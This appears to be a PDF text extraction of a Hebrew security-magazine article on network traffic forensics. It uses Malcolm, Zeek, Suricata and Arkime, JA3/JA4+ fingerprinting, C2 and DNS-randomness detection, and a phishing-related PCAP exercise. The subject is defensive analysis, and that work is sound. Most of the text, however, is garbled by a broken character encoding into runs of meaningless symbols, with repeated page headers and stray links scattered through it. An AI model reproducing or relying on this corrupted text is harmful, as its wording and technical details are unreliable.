˥ˣ˸˧ˮ˟ s πt/!t ˫ˡˣ˵ˢ  ό˱˯ˣˮ˟ Σ˭˸˧ˮ  ˭˧˟ˢ˪ ˧˩ ˪˟˵˸ˢ  5[[Σ  ˪˩˩ ˢ˞˶ˮˢ  ˨ ˷ˬˢ˟  ˸ ˷˵˟˪  πsI¢¢t ˢ˸ˢˣˤ˷Φ 

 

 

˨˧˷ˬˮ ˸ˣˮˮˣ˟˸ˢ˪  ˸˞˶˸ˢ˟ ά5ŜǘŜŎǘ ǇǊƻǘƻŎƻƭ ƻƴƭȅ ƻƴŜ ŘƛǊŜŎǘƛƻƴέ Υ 

ˢ˴˧˥˪  ˢ˧˧˪˰ ˪˧˟ˣ˸  ˣˮ˸ˣ˞  ˵˷ˬˬ˪ sπ!ǊƪƛƳŜΥ  

 

 

 

˭˞˩  ˭ ˸˧ˮ  ˸ ˣ˞˶˪ ˸˞  ˸ ˣ˞˶˸ˢˢ ˸˞ˣ ˨ˣ˧˷ˢ  ˭ ˢ˪˷ Υ 

¶  ˪ ˣ˵ˣ˦ˣ˶˲  - smtp 

¶ ˸ˣ˟ˣ˸˩ Σ ˫ ˧˦˶ˣ˲ 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ну 
 

˪˩ˣˮ ˵ˣˡ˟˪  ˸˞ ˰ˡ˧ˬˢ ˧˦ˮˣˣ˪˶ˢ ˸ˣ˟ˣ˸˩˪   x ˮ˧ˢ˧ˤ˷ ˸ˣ˞˶˸ˢ˟Υ  

 

 

˶˷˲˞  ˸ˣ˞˶˪  ˧˩  ˶˟˰ˬ  ˢ˞˶˸ˢ˪  ˪˷  {ǳǊƛŎŀǘŀΣ  ˣˮ˞  ˫˧˪ˣ˩˧  ˥˧ˮˢ˪  ˧˩  ˶˟ˣˡˬ  π˟CŀƭǎŜπǇƻǎƛǘƛǾŜ  ˸ˣ˩ˤ˟   ˸ ˠ˴ˢ  

˰ˡ˧ˬˢ  ˪˷  ½ŜŜƪ   ˪ ˰ ˸˟ˣ˸˩ˢ Φ 

 

˭˥˟ˮ  ˸ ˞ ˢ˞˶˸ˢˢ ά9¢ W!о IŀǎƘ - ώ!ōǳǎŜΦŎƘϐ tƻǎǎƛōƭŜ 5ǊƛŘŜȄέΥ 

˶ˣ˩ˤˮ ˧˩ ос  ˸ ˣ˞˶˸ˢˢ ˣ˪˟˵˸ˢ   ˪ ˪ˠ˟ ос {Ŝǎǎƛƻƴǎ  ˣ˶˵˷   ˭ ˧˟ ˢˡˬ˰ˢ ˢ˰ˣˠˮˢ ˪˩˩ ˢ˞˶ˮˢ  ˧˸˶˷˪ sπ/н Φ ɣ ˧˴˞  

˸˞  ˸ ˶ˣ˷˵˸ˢ ˸˶ˤ˰˟  ˱˶ˠ s π/ƻƴƴŜŎǘƛƻƴǎ  ˪˷ !ǊƪƛƳŜ Υ  

 

 

 ˶ ˥˞˪ ˢ˵˧ˡ˟   ˪ ˷ ˪˪˩ ˸ˣ˟ˣ˸˩ˢ -  s ˞˶ˮ ˧˩ ˣˮ˧˪˰ ˪˰ ˪˪˩ sπLƻ/ ˫˧˶ˣ˷˵ˢ  ˸˶ˣ˷˵˸˪ ˪ˣˬ  sπ/нΦ 

  

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  нф 
 

˭˥˟ˮ  ˸ ˞ ˢ˞˶˸ˢ ά9¢ LbCh 9·9 - {ŜǊǾŜŘ !ǘǘŀŎƘŜŘ I¢¢tέΥ 

˪˩ˣˮ  ˸ ˣ˞˶˪ ˸˞  ˦ ˣ˶˧˲ ˰ˡ˧ˬˢ   ˧ ˦ˮˣˣ˪˶ˢ  ˸ ˬ˧˸˥ˬ {ǳǊƛŎŀǘŀ ˡ˥˧  ˫ ˰ sπaŜǘŀŘŀǘŀ ˷ πaŀƭŎƻƭƳ  ˵ ˲˯ˬ  x ˮ˪Υ  

 

 

˰ˡ˧ˬˢ  ˢ˧ˢ˧  ˢˢˤ  ˫ˠ  ˢ˞˶˸ˢ˪  ˸˲˯ˣˮˢ  ˢˡ˧˰ˬˢ  ˪˰  ˸ˡ˶ˣˢ  5[[  -   ˦ ˰ˬ˪   ˸ ˴˵  aŜǘŀŘŀǘŀ  ˢˮˣ˷   ˵ ˪˥˟   ˪ ˷  

aŀƭŎƻƭƳΦ  

˸˰˩ Σ ˨ ˧˷ˬˮ ˸˞ ˢ˶˧˵˥ˢ  ˨ ˶ˡ ˵˷ˬˬ sπ{ŜŎǳǊƛǘȅ hǾŜǊǾƛŜǿΥ  

 

 

 

¶ ˢ˞˶ˮ ˷πZeek ˠ˧˴ˬ  ˣˮ˧ˮ˲˟ ˸ˣ˞˶˸ˢ  ˪˰ ˸ˣˡˣ˰˸ ˸ˣˠ˧˶˥Φ  

¶ Suricata ˳˧˲˵ˬ ˯ˬ ϥ˸ˣˬ˧˸˥  - ˭ˢ˧ˮ˧˟ JA3  ˧ ˮˣˡˤ ˢˢˣˤˬˢ ˶ˣ˵ˬˢˬ  - Abuse.ch Φ 

 

 

 

 

 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ол 
 

˨˧˷ˬˮ ˪ π½ŜŜƪ Yƴƻǿƴ {ǳƳƳŀǊȅ  Σ ˬ ˢ˶˷˲˞  ˸ˣ˪˩˸˯ˢ  ˸ ˧˪˪˩  ˪ ˰ sπt/!tΥ 

 

 

˭˥˟ˮ  ˸ ˞ sπ½ŜŜƪ ƴƻǘƛŎŜǎΥ  

 

 

˭˸˧ˮ ˸ˣ˞˶˪  ˸ ˞ ˱˯ˣ˞ ˸ˣ˟ˣ˸˩  ˡ˰˧ˢ  ˭ˢ˧˪˰ ˢ˰˧˲ˣˢ  s ˞˶˸ˢˢ  ˸ ˣˮ˧ˡˬˢˣ ˭ˢ˟ ˸ˣ˞˴ˬˮ Φ 

 x ˪˞ т  ˸ ˣ˟ˣ˸˩ˢ ˣˮ˧ˢ˧ˤ˷ ˸ˣ˰˴ˬ˞˟  ˸ ˣˬ˧˸˥ sπW!о  ˸ ˣ˧ˮˣˡˤˢ  ˣˢˣˤ˷ ˸ˣ˰˴ˬ˞˟ {ǳǊƛŎŀǘŀ Φ 

˥˧ˮˮ  ˢ˴˶ˮˣ  ˭ˣ˥˟˪  ˸˞  ˶˷˵ˢˢ  ˪˷  πsbƻǘƛŎŜ  ˪˰  ˸˟ˣ˸˩ˢ  ΥпфΦномΦмсΦмлн ˪˩ˣˮ  ˶ˤ˰ˢ˪  ˢˡ˷˟   ˧ ˪˪˩ˢ  

ύ/ƻƳƳǳƴƛǘȅ L5  - ˢ˞˧˶˵˪ ˸˲˯ˣˮ Υό 

  

http://www.digitalwhisper.co.il/
https://malcolm.fyi/docs/arkime.html#ZeekArkimeFlowCorrelation


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ом 
 

˶˦˪˲ˮ  ˧˲˪  πs/ƻƳƳǳƴƛǘȅ L5  -  ˢˡ˷  ˶˷˲˞ˬˢ  ˣˮ˪  ˸ˣ˞˶˪   ˰ ˡ˧ˬ  ˧˪˪˩   ˪ ˰  πs{Ŝǎǎƛƻƴǎ   ˫ ˧˦ˮˣˣ˪˶ˢ  ˧˲˪  

aŀƭŎƻƭƳΥ  

 

 

 

 ˶ ˷˵ˢ˟  ˮˢϦ˪  ˶˷˲˞   ˷ ˲˥˪  ˸ˣ˶ˣ˷˵˸   ˸ ˣ˰˧ˠˬˢ  ˸˶˷ˬ  /н  ˸ˬ˧˸˥˷  πsW!о{  ˣ˪˷   ˸ ˣˬ˧˞˸ˬ   s ˬ˧˸˥˪  

ˢˠ˴ˣˢ˷ Υ  

 

 

 

˭˥˟ˮ  ˸ ˞ /ƻƴƴŜŎǘƛƻƴǎ Υ 

 

 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  он 
 

 ˵ ˣˡ˟ˮ ˫˞ˢ ˪˩ˣˮ ˸ˣˢˤ˪  x ˢ˷ˬ   l ˣ˷˥  ˫ ˞˸ˢ˟ ˸ˣ˪ˣ˰˲˪  ˞˪˷   x ˬ˪˷ˣˢΥ  

 

 

˶ˣ˟˰˟  ˸ ˣ˶ˣ˷˵˸ ˣ˥ˡˮ˷ ύǊŜƧŜŎǘŜŘ Υό  

 

 

˭˸˧ˮ ˸ˣ˞˶˪ н ˸ˣ˟ˣ˸˩ ˸ˣ˲˯ˣˮ  ˸ˣˢˣˤˬˢ ˩πLƻ/  ΣwL¢! ˢˡ˧˷˥ˢ ˫ˠ  ˸ ˞ ˸ˣ˟ˣ˸˩ˢ  x ˪˪ˢΥ  

 

 

 

 

˶ˣ˟˰˟ ˸ˣˮˣ˧˯ˮ  ˸ ˣ˶˟˥˸ˢ  ˞ ˪˪ ˢˮ˰ˬ Σ˪˩ˣˮ  ˸ˣ˞˶˪  ˡˣ˰ ˸˟ˣ˸˩ ˢˢˣˤˬˢ ˩πLƻ/ Υ 

 

 

 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  оо 
 

!Ŏǘƛƻƴ ŀƴŘ wŜǎǳƭǘǎΥ  

˱˶ˠˢ  ˞ ˟ˢ ˶˷˲˞ˬ  x ˮ˪  ˸ ˣ˞˶˪  ˨ ˧˞ ˢ˪˧˥˸ˢξˢˬ˧˧˸˯ˢ ˢ˪ˣ˰˲ ˸˥˸ ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˫˧ˮˣ˷ ˟ πt/!t Φ 

ˣˬ˩ ˭˩ Σ ˞ ˣˢ ˶˷˲˞ˬ ˪˟˵˪ ˫˷ˣ˶ ˶˧ˢˬ   ˪ ˰ ˸ˣˠ˪˲˸ˢ ˸ˣ˪ˣ˰˲ˢ ˟ πt/!t Υ 

 

 

 

˸˰˩ ˪˩˸˯ˮ   ˪ ˰ ˸ˣ˸˪˧˞˷  DNSΥ 

 

 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  оп 
 

5b{ wŀƴŘƻƳƴŜǎǎ   ˶ ˷˲˞ˬ  ˸ˣˢˤ˪  5ƻƳŀƛƴ  ˶˷˞   ˱ ˯ˣ˞   ˫ ˧ˣˣ˸ˢ   x ˪˷   ˶ ˴˧˧ˬ  9ƴǘǊƻǇȅ  ˢˢˣ˟ˠ  Σ˶˟ˡ  ˡ˧˰ˬ˷  ˪˰  

˱˯ˣ˞  ˫˧ˣˣ˸ ˫˧˪ˬˣˡˮ˶ ύ˶ˣ˵ˬ Φό 

˭ˣ˸ˮ ˢˤ ˡ˧˷˥ˬ  ˸˞ sπ5ƻƳŀƛƴ ˣˮ˧˞˶˷ ˸˞˶˸ˢ˟ sπ{ǳǊƛŎŀǘŀ ύˢˡ˷˟ sπI¢¢tΦƘƻǎǘƴŀƳŜΦό  

  

˵˶˲ˢ  ˣˮˡˬ˪  ˸˷ˠ˪ ˸˶˧˵˥˪ t/!t  ˸ˣ˰˴ˬ˞˟  ˸˩˶˰ˬ ˥ˣ˸˧ˮ˪  ˸˶ˣ˟˰˸  ˸˷˶  π  aŀƭŎƻƭƳ  Φ˫ˠ  t/!t  ˢˤ   x ˟ˣ˶˟  

˯˯˟˸ˢ   ˪ ˰  ˸ ˶ˣ˷˵˸ ¢[{ Φ 

ˣˮ˶˩ˢ  ˸˞  πs5ŀǎƘōƻŀǊŘǎ   ˪ ˷  aŀƭŎƻƭƳ  ˫˧˶ˤˣ˰˷  ˣˮ˪   ˥ ˸ˮ˪  ˸˞  ˪˪˩  ˰ˡ˧ˬˢ  ˵˲ˣˢ˷  ˫˧˰ˣˮˬ˟  ˫˧ˮˣ˷ˢ   ˨ ˶ˡ  

˵˷ˬˬ ˥ˮ  ˶˵ˣ˥˪ ˢ˥˦˟˞ˢ Υ 

¶ ˸ˣ˞˶˸ˢ Zeek/Suricata  - ˸ˣˬ˧˸˥  ˪˰ ˸ˣ˪ˣ˰˲ ˸ˣ˧ˮˣˡˤ ˥ˣ˸˧ˮˣ Metadata   ˪ ˷ ˰ˡ˧ˬ Φ 

¶ sπDashboards ˫˧˶˷˲˞ˬ  ˶ ˵ˣ˥˪ ˢ˥˦˟˞ˢ   ˪ ˟˵˪ ˶˷˵ˢ ˶ˣ˶˟ ˪˰ s πPCAP  Φ 

¶ ˥ˣ˸˧ˮ ˸ˣ˧˪ˬˣˮ˞ ˸ˣ˶˧ˢˬ˟ Φ 

ˣˬ˩  ˭˩  Σˣˮˡˬ˪   ˪ ˰   ˵ ˷ˬˬ   ˶ ˣ˦˧ˮ  !ǊƪƛƳŜ   -  πsϦ²ƛǊŜǎƘŀǊƪ   ˪ ˰  ˫˧ˡ˧˞ˣ˶˦˯  ΣϦ ˶ ˷˞   ˶ ˤˣ˰   x ˮ˪   ˶ ˣ˟˰˪  ˪˰   ˪ ˩   ˰ ˡ˧ˬˢ  

ˢ˶ˣ˴˟  s ˥ˣˮ ˵˷ˬˬ˟ ˡ˧˥˞  Φ 

˱˯ˣˮ˟  Σ x ˮ˧˞˶  ˸ ˬ˧˸˥ W!о{ ˶˷˞ ˢˢˣˤˬ  ˫˰ ˸˶˷ /н ˧ˮˣˡˤ Φ 

˸ˣ˰˴ˬ˞˟  ˷ˣˬ˧˷ˢ   ˟πaŀƭŎƻƭƳ   ˪ ˩ˣ˧  ˶˵ˣ˥  ˢ˥˦˟˞ˢ  ˰˧ˠˢ˪  ˸ˣ˪ˣ˰˲˪   ˸ ˣ˧ˮˣˡˤ   s ˶ˣ˴˟   ˸ ˡ˵ˣˬˬ   ˧ ˪˟ˬ   ˶ ˣ˟ˮ˪  

 ˰ ˡ˧ˬ˟  ˟ ˶  ˰ ˟ˣˮˢ ˸˶ˣ˟˰˸ˬ  ˸˷˶Φ 

˵˶˲˟ ˞˟ˢ ˭˥˟ˮ  ˸ ˞ W!пҌ  ˸˞ˣ  ˭ ˲ˣ˞ˢ  x ˟ ˞ˣˢ  l ˰ˣˮ ˶˲˷˪ ˸˞ ˸ˣ˪ˣ˩˧ ˸˶˧˵˥ ˸ˣ˪ˣ˰˲ ˸ˣ˧ˮˣˡˤ  ˸ ˶ˣ˟˰˸˟ ˸˷˶ Φ 

http://www.digitalwhisper.co.il/
https://www.first.org/global/sigs/dns/stakeholder-advice/detection/dga


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  ор 
 

 ˫ ˡ˵˸ˬ - ˤ˞ ˢˬ˪ ˧˪ JA4+Κ 

ˢˬˠˣˡ ˡ˧˴˪ ˫˰ JA4+ 

˟˪˷˟  ˢˤ  ˪˷  ˶ˬ˞ˬˢ  ˦˶˲˞  ˵ˬˣ˰˪  ˢˬˠˣˡ  ˢ˶˧˵˥˪  ˢ˸˞˶ˢ˷  ˨˧˞  ˢ˧˪ˬˣˮ˞ˬ  ˪˰  ˰˲ˣˬ  ˪˷  ˸ˬ˧˸˥  JA4T   x ˰˧ˠˢ  

˸ˣ˟ˣ˸˩˪  IP  ˣ˷ˬ˧˷˷  ˫˧˲˵ˣ˸ ,  ˨ˣ˸  ˷ˣˬ˧˷   ˸ ˣˬ˧˸˥˟  ˞˪  ˸ˣ˶˩ˣˬ  ύ x ˬ˧˷   ˟ ˪  ˧ˮ˞˷   ˶ ˧˩ˤˬ  ˸ˣˬ˧˸˥  ˸ˣˮˣ˷   ˸ ˪˧˟˥˟  

JA4+ ό 

˥˧ˮˮ ˣˮ˧ˢ˧ˤ ˧˩ JA4T ˞˟ˢ ˰˧˲ˣˬ  ˭ ˣˬˢ  ˫ ˧ˬ˰˲ ˸ˣ˞˶˸ˢ˟   x ˮ˪˷ Σ l ˥˞ ˢˤ˩ ˞˪˷ ˰˧˲ˣˬ   ˶ ˠ˞ˬ˟ ˶˩ˣˬˢ Υ 

 

 

ϐ3_1424_7-1-8-4-29200_2ύ˶ˣ˵ˬ ώό 

 

 

Ϧ˲˰  ˧ˣˢ˧ˤ  ˯˯ˣ˟ˬˢ  ˪˰  ˢ˶˧˵˥  ˫˰  !ǊƪƛƳŜ  ˵˷ˬˬˣ  ˡ˧˴ˢ  ˪˷  DǊŜȅbƻƛǎŜ  ˣ˥˧˪˴ˢ  ˫˧˶˵ˣ˥ˢ  ˸ˣ˞˶˪  ˧˩   ˫ ˧˲˵ˣ˸  

ˣˣ˯ˢ  ˸˞  ˢ˶ˣ˟˰˸ˢ  ˫ˢ˪˷  ˨˶ˡ  ˸ˣ˶ˣ˷˵˸  ˪˷  ˧˪˩ˢ   ˧ ˲˶ˣˠ˦˲˧˶˵ˢ  tƛ bƻŘŜ   -  ˢ˧˴˵˧˪˲˞  ˭ˣ˲˪˦˪  ˞˧ˢ˷   ˵ ˪˥  

˨˶˰ˬˬ  ˪˷ ˰˟˦ˬ ˶ˤˣ˟ˬ Φ 

 

 

http://www.digitalwhisper.co.il/
https://x.com/4A4133/status/1773042080073293827
https://minepi.com/pi-blockchain/pi-node/
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ˢˬ  ˪ ˩ˣˮ ˪˧˥˸ˢ˪  ˭˧˟ˢ˪ ˭˞˩ˬΚ 

1Φ ˫˞ˢ ˶˷˲˞  ˭ ˧˟ˢ˪ ˣˢ˷ˬ ˥ˣ˸˧ˮˬ ˸ˬ˧˸˥ˢ JA4TΚ  

 

 

¶ άн-4-8-1-оέ ˪ˬ˯ˬ ˸˩˶˰ˬ Unix-based 

¶ ϦмпнпϦ π  ˪ˬ˯ˬ  MSS   ύMaximum Segment Size  Σό˫˴˰˟  ос  ˫˧˸˟  ˪˷  ˰ˡ˧ˬ  ˷ˬ˷˧  π˩Payload  ύ˶ˣ˵ˬ  ό -  

˶˟ˡ  ˡ˧˰ˬ˷  ˪˰  ˨ ˩ ˞˪˷ ˶˟ˣˡˬ ˰ˡ˧ˬ˟ ˭˲˴ˣˬ Φ 

 

 

 

¶ Ethernet MTU = 1500 (Standard) 

¶ IP Header (20 bytes) + TCP Header (20 bytes) + Payload 

¶ MSS = MTU - 40 + Payload 

¶ Payload = 36 bytes 

˪˪ˠ˟ s πa{{ ˭˸˧ˮ  ˥˧ˮˢ˪  ˧ ˩ ˸ˣ˟ˣ˸˩ˢ  ˣ˷ˬ˧˷  ˸˶˟˰ˢ˪ ˰ˡ˧ˬˢ  ˫˩˶ˡΦ ˢˬ˧˸˥ˢ  ˢˮ˧˞ ˶˧˷˩ˬ ¢/t  ˧˸˶ˠ˧˷ Φ 

 

 

 

 

 

 

 

 

 

 

 

http://www.digitalwhisper.co.il/
https://www.cloudflare.com/learning/network-layer/what-is-mss/
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2Φ ˢˬ ˪˩ˣˮ ˭˧˟ˢ˪  ˸ ˣˬ˩ˬ ˫˧˰˲ˣˬˢ  ˪ ˷ ˸ˬ˧˸˥ sπJA4T  ˶ ˷˵ˢ˟  ˦ ˶ˣ˲˪ ˡ˰˧ˢ Κ 

 

 

¶ ˟ˣ˶ ˸ˣ˟ˣ˸˩ˢ  ˣ˲˴ˮ˷ ˣ˧ˢ ˸ˣ˟ˣ˸˩ ˸ˣˢˣˤˬˢ ˫˰ ˸ˣˮˣ˩ˬ  ˭ˮ˰˟  ˶˷˞ ˸ˣˮ˧ˤ˞ˬ ˦˶ˣ˲˟  нн Φ 

¶ ˢ˞˶ˮ ˫ˠ   ˸ ˣ˟˧˦ˮ˶˦˪˞ ˦˶ˣ˲˪   ˰ ˣˡ˧ˢ ˪˷ SSHΦ 

¶ ˭ˣ˩ˮ ˫ˣ˯˥˪ ˸˶ˣ˷˵˸  ˦˶ˣ˲˪ нн ˶˷˞˩ sπJA4T ˮˢ Ϧ ˪˰˧˲ˣˬ Φ 

¶ ˷˧   ˫ ˧˷˪   ˟ ˪  π˪False positive  Σ˶˷˞˩  ˫˧˧˵  ˸˶ˣ˷˵˸  ˪ˣˬ  ˫˧˦˶ˣ˲  ˫˧˶˩ˣˬ  ˣˬ˩  улξппо  Φ ˫ ˷˪  ˨˩  ˭ˣ˩ˮ   ˟ ˪˷˪  

˸˞  ˸ ˬ˧˸˥ JA4 ύ˸ˬ˧˸˥ sπTLS ό l ˥˧ ˫˰  ˸ˬ˧˸˥ JA4T Φ 

¶  ˵ ˪˥  ˸ ˣ˶ˣ˷˵˸ˢˬ  ˫ ˠ ˣ˰˧ˠˢ ˦˶ˣ˲ˬ омплл  - ˢˢˣˤˬ  ˫ ˰ Pi Node  ύ ˞ ˪ ˫˧˞ˣ˶  ˢˮˣˬ˸˟ό  

 

3Φ ˢˬ ˪˩ˣˮ  ˵ ˧˯ˢ˪ ˸˶ˣ˷˵˸ˢˬ  ˦˶ˣ˲˪ ул  - ˧˸˶˷˪ WebΚ  

 

˷ˬ˸˷ˮ  π˟W!пI  ύ˸ˬ˧˸˥  ˸ˣˡ˷  πsI¢¢t  ό˧ˡ˩˟  ˭ˣ˥˟˪  ˧ˮ˧˧˲˞ˬ  ˸˶ˣ˷˵˸  ˪˷  πs.ƻǘƴŜǘ  ύ˶ˣ˵ˬ  -  ˢˮ˟ˬ   ˸ ˬ˧˸˥  

W!пI Υό 

¶ ˨˶˰ˢ άȊƘŎƴέ  ˞ˣˢ п  ˫˧ˣˣ˸ˢ  ˫˧ˮˣ˷˞˶ˢ  ˨˶˰˟  πsAccept-Language  -  Chinese-RPC  Φˣˤ  ˢ˷˧ˠ  ˪˷ ˫˧˦ˣ˟  

˸ˣˣ˯ˢ˪  ˸ ˞ ˢ˶ˣ˟˰˸ˢ ˫ˢ˪˷   x ˪˧˞˩ ˣ˰˧ˠˢ˷ ˫˧˷ˬ˸˷ˬˬ  ˫˧ˮ˧˯  x ˞ ˫˧ˡ˰ˣ˧ˬ ˫˧˶˸˞˪  ˫ ˧ˮ˧˯Φ 

¶ ˨˶˰ˢ  άƎŜмлƴƴлпȊƘŎƴέ  ˡ˧˰ˬ   ˪ ˰  ˢ˩˧ˬ˸  π˟HTTP 1.0   -  ˡ˧˰ˬ   ˪ ˰  ˭ˣ˧˯˧ˮ   ˵ ˷ˬˬ˸ˢ˪   ˫ ˰  ˫˧˶˧˷˩ˬ  ˫˧ˮ˷˧Φ  

 

http://www.digitalwhisper.co.il/
https://www.reddit.com/r/PiNetwork/comments/oywudh/port_issue_pi_node/?utm_source=chatgpt.com
https://github.com/FoxIO-LLC/ja4/blob/main/technical_details/JA4H.md
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4Φ ˫˞ˢ ˪˩ˣˮ  ˸ˣˢˤ˪  ˢ˧˪ˬˣˮ˞ ˰ Ϧ ˧ ˸ˣ˪˩˸˯ˢ   ˪ ˰ sπJA4 ˢˬ˧˞˸ˬˢ ˪πJA4T   x ˮ˧ˢ˧ˤ˷Κ  

 

 

¶ ˭˸˧ˮ  ˸ˣ˞˶˪  ˢ˩˧ˬ˸  π˟TLS 1.3/1.2  ˣ˪˧˲˞ˣ   ˟π1.1  Φˢ˩˧ˬ˸  π˟мΦм  ˢˮ˧ˢ   s ˧˪ˬˣˮ˞   -   ˭ ˩˷  ˞˪  ˶ˣˬ˞   ˸ ˣ˧ˢ˪  

˷ˣˬ˧˷˟ Φ 

¶ ˢ˩˧ˬ˸ ˟πсф ˸ˣ˪˧˟˥  ˸ˣ˧˲˶ˠˣ˦˲˧˶˵  -  ˫˧ˮ˲ˡ˲ˡ ˫˧˩ˬˣ˸  ˫ ˧ˡˡˣ˟˟ ύ˶ˣ˵ˬ Φό 

¶ sπALPN  ˭ ˞˩ ˶ˡˠˣˬ Σˡˣ˰˟  ˟˷ πTLS 1.1  ˞˪ ˢ˸˧˧ˢ ˢ˩˧ˬ˸ x˟ Φ 

 

˭˞˩   x ˮ˧˞˶   s ˬˠˣˡ  ˨˧˞˪   ˷ ˣˬ˧˷  π˟W!п¢   ˧ ˡˣ˥˧˧   ˪ ˧˟ˣˢ   x ˮ˸ˣ˞   ˫ ˧˷˪   ˟ ˪   s ˧˪ˬˣˮ˞˪   ˸ ˣˬ˧˸˥˟  πsW!пκW!пI  Φ ˶ ˟ˡ  

 ˪ ˣ˩˧˷ ˪˧˰ˣˢ˪  ˣˮ˪  s ˬ˧˯˥˟ξ˧ˣˢ˧ˤ ˫˧˧ˡ˧˸˰Φ  

 

˵˶˲ˢ ˣˮˡˬ˪  ˨˧˞  ˥˸ˮ˪ ˸ˣˠ˪˲˸ˢ ˸ˣˬ˧˸˥ ˸˪˧˟˥ˬ W!пҌ  ˪ ˰ ˸ˮˬ ˡˣ˴˪ ˸ˣ˪ˣ˰˲  ˸ ˣ˧ˮˣˡˤ ˢ˶˵ˬ˟ ˸ˬ˞ Φ 

 ˨ ˪ˢˬ˟   ˸ ˶˧˵˥  πsaŜǘŀŘŀǘŀ   ύˢ˰˟ˮ˷   ˸ ˡ˷˥ˢˬ  ˢˬ˧˸˥  Σόˣˮˡˬ˪   ˪ ˰  ˸ˣ˧˪ˬˣˮ˞   ˸ ˣ˶˷˲˞ˬ˷   ˸ ˣˬ˧˸˥˪  πsW!пҌ  

˶˷˲˞˪ ˶˵ˣ˥˪ ˢ˥˦˟˞  ˸ ˣˢˤ˪ ˸ˣ˧˪ˬˣˮ˞  ˸ˣ˪˧˰˧˟  -  ˞ ˪ˣ ˵˶ ˸˶ˣ˷˵˸˟ ˸ˣ˰˴ˬ˞˟ ˸ˬ˧˸˥ ¢[{ ύW!пκW!о Φό 

˱˯ˣˮ˟  Σ x ˮ˧˞˶  ˢˬˠˣˡ  ˨˧˞˪   ˟ ˣ˪˧˷  ˸ˣˬ˧˸˥  ˶˷˲˞ˬ   l ˵ˬ˪  ˸˞   ˸ ˞   l ˧˴ˢ  ˰ˮˬ˧ˢ˪ˣ  ˸ˣ˞˶˸ˢˬ  ˞ˣˣ˷   ˸ ˣ˰˟ˣˮˢ  

˪˞˧˴ˮ˦ˣ˲ˢˬ  ˸ˣˬ˧˸˥˪ ˸ˣˢˤ Φ 

http://www.digitalwhisper.co.il/
https://crypto.stackexchange.com/questions/60690/what-is-the-most-popular-cipher-suite-used-in-tls-1-2-for-https
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 ˫ ˡ˵˸ˬ - Hands-On JA4+ 

aƛŎǊƻǎƻŦǘ ¢ŜŀƳǎ tƘƛǎƘƛƴƎ 

πst/!t  ˞˟ˢ  ˯˯ˣ˟ˬ  ˪˰  ˰ˣ˶˧˞  πˬннκлмκнр  ˣ˟  ˫˧˲˵ˣ˸    ˣ˶˴˧ˡˣˬ˰  ¢ŜŀƳǎ  ˱˧ˣˤˬ  ˪˰  ˸ˮˬ  ˸ˣ˷˰˪   ˷ ˣˬ˧˷  

ˢ˵ˤˣˮ˟  ˸ ˷ˠˮˢ ˸˶˷˪ /н ˪ˣ˵ˣ˦ˣ˶˲˟ I¢¢tύ Φ ˶ ˣ˵ˬ ό 

˸˞   ˥ ˣ˸˧ˮ  πst/!t  ˢ˷˰ˮ  ˸˶ˤ˰˟  aŀƭŎƻƭƳ  ˨ˣ˸  ˸ˣˡ˵ˬ˸ˢ   l ˧˴˟   ˯ ˯ˣ˟ˬˢ   ˪ ˰  W!пҌ   π   ˧ ˲˩  ˣˮ˧˞˶˷   ˵ ˶˲˟   ˫ ˡˣ˵ˢ  

- ˵˶  ˫ ˰˲ˢ ˫˰ IŀƴŘǎπƻƴ  Φ 

˸˶ˤ˰˟ aŀƭŎƻƭƳ  ˰˴˟ˮ  ˢ˶˧˵˥  ˸˧ˮˣ˷˞˶  ˫˞˸ˢ˟  ˰ˡ˧ˬ˪ ˭˸˧ˮ˷  ˭˧˟ˢ˪  ˦˯ˣ˲ˢˬ  ˰ˠˣˮ˟ ˰ˣ˶˧˞˪  ˣˮ˞˷  ˫˧˶˵ˣ˥   -  

ˣˮ˞ ˞˪  ˫ ˧ˡ˵ˬ˸ˬ ˶˧˟˯ˢ˪˟ ˸˞ ˰ˣ˶˧˞ˢ Σ˞˪˞  ˸ ˪˪˲ˢ˟ ˧˸˶˷ sπ/н Φ 

˧˲˩  ˶˞ˣ˸˷  ˶ˣ˵ˬ˟  Σˡˣˬ˰  ˠˮ˧˷˧˲ˢ  ˪˧˟ˣˬ  ˢˡ˶ˣˢ˪  ˪˷  ˳˟ˣ˵  ˫˷˟  ŀǇǇƭƛŎŀǘƛƻƴψǎŜǘǳǇΦƧǎ  ˶˷˞  ˣ˩ˣ˸˟   ˭ ˸˧ˮ  

